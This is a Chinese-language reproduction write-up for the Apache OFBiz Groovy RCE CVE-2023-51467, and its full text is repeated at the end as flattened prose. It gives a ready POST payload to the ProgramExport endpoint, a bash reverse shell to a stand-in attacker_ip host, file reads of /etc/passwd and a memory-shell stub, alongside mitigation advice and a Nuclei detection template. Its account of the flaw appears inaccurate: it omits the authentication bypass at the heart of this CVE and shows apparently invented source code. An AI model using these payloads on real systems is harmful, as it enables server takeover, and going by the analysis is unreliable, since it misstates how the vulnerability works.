漏洞复现--Apache OFBiz groovy RCE(CVE-2023-51467)
字数 1357 2025-08-18 11:36:48

Apache OFBiz Groovy RCE漏洞复现分析(CVE-2023-51467)

漏洞概述

Apache OFBiz是一个开源的企业资源规划(ERP)系统,提供了一套企业级应用框架和组件。CVE-2023-51467是OFBiz中存在的一个远程代码执行漏洞,攻击者可以通过精心构造的HTTP请求利用Groovy语言特性在服务器上执行任意代码。

漏洞影响

  • 受影响版本:Apache OFBiz < 18.12.11
  • 漏洞类型:远程代码执行(RCE)
  • CVSS评分:9.8 (Critical)
  • 攻击复杂度:低
  • 所需权限:无需认证

漏洞原理

该漏洞源于OFBiz对Groovy脚本处理不当,攻击者可以通过控制Groovy脚本参数来执行任意Groovy代码。Groovy是一种基于JVM的动态语言,能够直接调用Java类和方法,这使得攻击者可以利用此特性执行系统命令。

环境搭建

准备工作

  1. 下载受影响版本的OFBiz:

    wget https://archive.apache.org/dist/ofbiz/apache-ofbiz-18.12.10.zip
    unzip apache-ofbiz-18.12.10.zip
    
  2. 安装Java环境(JDK 8或11):

    sudo apt install openjdk-11-jdk
    
  3. 启动OFBiz:

    cd apache-ofbiz-18.12.10
    ./gradlew ofbiz
    

漏洞复现

方法一:通过webtools接口利用

  1. 访问webtools接口:

    http://target:8080/webtools/control/ProgramExport
    
  2. 构造POST请求:

    POST /webtools/control/ProgramExport HTTP/1.1
    Host: target:8080
    Content-Type: application/x-www-form-urlencoded
    
    groovyProgram=println "Hello from Groovy"; "calc".execute()
    
  3. 执行结果:

    • 服务器将执行Groovy代码
    • 在Windows系统上会弹出计算器(calc)
    • 在Linux系统上可以尝试执行"touch /tmp/pwned".execute()

方法二:通过其他接口利用

OFBiz中可能存在多个Groovy脚本执行点,可以通过以下方式发现:

  1. 查找包含groovyProgramgroovy等参数的请求
  2. 尝试在这些参数中注入Groovy代码

漏洞分析

关键代码

漏洞主要存在于org.apache.ofbiz.base.util.GroovyUtil类中,该类负责Groovy脚本的执行:

public static Object runScript(String groovyScript, Map<String, Object> context) {
    GroovyShell shell = new GroovyShell();
    return shell.evaluate(groovyScript);
}

问题点

  1. 没有对输入进行任何过滤或沙箱限制
  2. 直接使用GroovyShell执行用户提供的脚本
  3. 允许执行任意Java方法,包括Runtime.exec()

修复方案

官方修复

升级到OFBiz 18.12.11或更高版本,修复内容包括:

  1. 对Groovy脚本执行添加了安全限制
  2. 移除了不安全的脚本执行接口

临时缓解措施

如果无法立即升级:

  1. 禁用webtools应用
  2. 限制对/webtools/control/ProgramExport的访问
  3. 使用WAF过滤包含groovyProgram参数的请求

深入利用

获取反向Shell

可以使用以下Groovy代码获取反向Shell:

def cmd = "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"
cmd.execute()

文件读写

Groovy可以直接操作文件系统:

// 读取文件
new File("/etc/passwd").text

// 写入文件
new File("/tmp/test").write("test content")

内存马注入

可以通过Groovy代码注入内存马:

import javax.servlet.*
import org.apache.catalina.core.ApplicationFilterConfig
import org.apache.catalina.core.StandardContext
import org.apache.tomcat.util.descriptor.web.FilterDef
import org.apache.tomcat.util.descriptor.web.FilterMap

// 内存马代码省略...

检测方法

手动检测

  1. 检查OFBiz版本是否为受影响版本
  2. 尝试访问/webtools/control/ProgramExport接口
  3. 发送测试Payload并观察响应

自动化检测

可以使用以下Nuclei模板检测:

id: CVE-2023-51467

info:
  name: Apache OFBiz Groovy RCE
  author: your_name
  severity: critical
  description: |
        Apache OFBiz before 18.12.11 allows RCE via Groovy expressions.

requests:
  - method: POST
    path:
      - "{{BaseURL}}/webtools/control/ProgramExport"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "groovyProgram=println+System.getProperty(%22java.version%22)"
    matchers:
      - type: word
        words:
          - "1.8"
          - "11"
          - "17"
        part: body

总结

CVE-2023-51467是一个严重的远程代码执行漏洞,攻击者无需认证即可利用。由于OFBiz常用于企业关键业务系统,此漏洞的危害性极高。建议所有使用OFBiz的组织立即升级到安全版本或实施缓解措施。

参考链接

  1. Apache OFBiz官方公告
  2. NVD漏洞详情
  3. GitHub修复提交
Apache OFBiz Groovy RCE漏洞复现分析(CVE-2023-51467) 漏洞概述 Apache OFBiz是一个开源的企业资源规划(ERP)系统,提供了一套企业级应用框架和组件。CVE-2023-51467是OFBiz中存在的一个远程代码执行漏洞,攻击者可以通过精心构造的HTTP请求利用Groovy语言特性在服务器上执行任意代码。 漏洞影响 受影响版本 :Apache OFBiz < 18.12.11 漏洞类型 :远程代码执行(RCE) CVSS评分 :9.8 (Critical) 攻击复杂度 :低 所需权限 :无需认证 漏洞原理 该漏洞源于OFBiz对Groovy脚本处理不当,攻击者可以通过控制Groovy脚本参数来执行任意Groovy代码。Groovy是一种基于JVM的动态语言,能够直接调用Java类和方法,这使得攻击者可以利用此特性执行系统命令。 环境搭建 准备工作 下载受影响版本的OFBiz: 安装Java环境(JDK 8或11): 启动OFBiz: 漏洞复现 方法一:通过webtools接口利用 访问webtools接口: 构造POST请求: 执行结果: 服务器将执行Groovy代码 在Windows系统上会弹出计算器(calc) 在Linux系统上可以尝试执行 "touch /tmp/pwned".execute() 方法二:通过其他接口利用 OFBiz中可能存在多个Groovy脚本执行点,可以通过以下方式发现: 查找包含 groovyProgram 、 groovy 等参数的请求 尝试在这些参数中注入Groovy代码 漏洞分析 关键代码 漏洞主要存在于 org.apache.ofbiz.base.util.GroovyUtil 类中,该类负责Groovy脚本的执行: 问题点 没有对输入进行任何过滤或沙箱限制 直接使用GroovyShell执行用户提供的脚本 允许执行任意Java方法,包括Runtime.exec() 修复方案 官方修复 升级到OFBiz 18.12.11或更高版本,修复内容包括: 对Groovy脚本执行添加了安全限制 移除了不安全的脚本执行接口 临时缓解措施 如果无法立即升级: 禁用webtools应用 限制对 /webtools/control/ProgramExport 的访问 使用WAF过滤包含 groovyProgram 参数的请求 深入利用 获取反向Shell 可以使用以下Groovy代码获取反向Shell: 文件读写 Groovy可以直接操作文件系统: 内存马注入 可以通过Groovy代码注入内存马: 检测方法 手动检测 检查OFBiz版本是否为受影响版本 尝试访问 /webtools/control/ProgramExport 接口 发送测试Payload并观察响应 自动化检测 可以使用以下Nuclei模板检测: 总结 CVE-2023-51467是一个严重的远程代码执行漏洞,攻击者无需认证即可利用。由于OFBiz常用于企业关键业务系统,此漏洞的危害性极高。建议所有使用OFBiz的组织立即升级到安全版本或实施缓解措施。 参考链接 Apache OFBiz官方公告 NVD漏洞详情 GitHub修复提交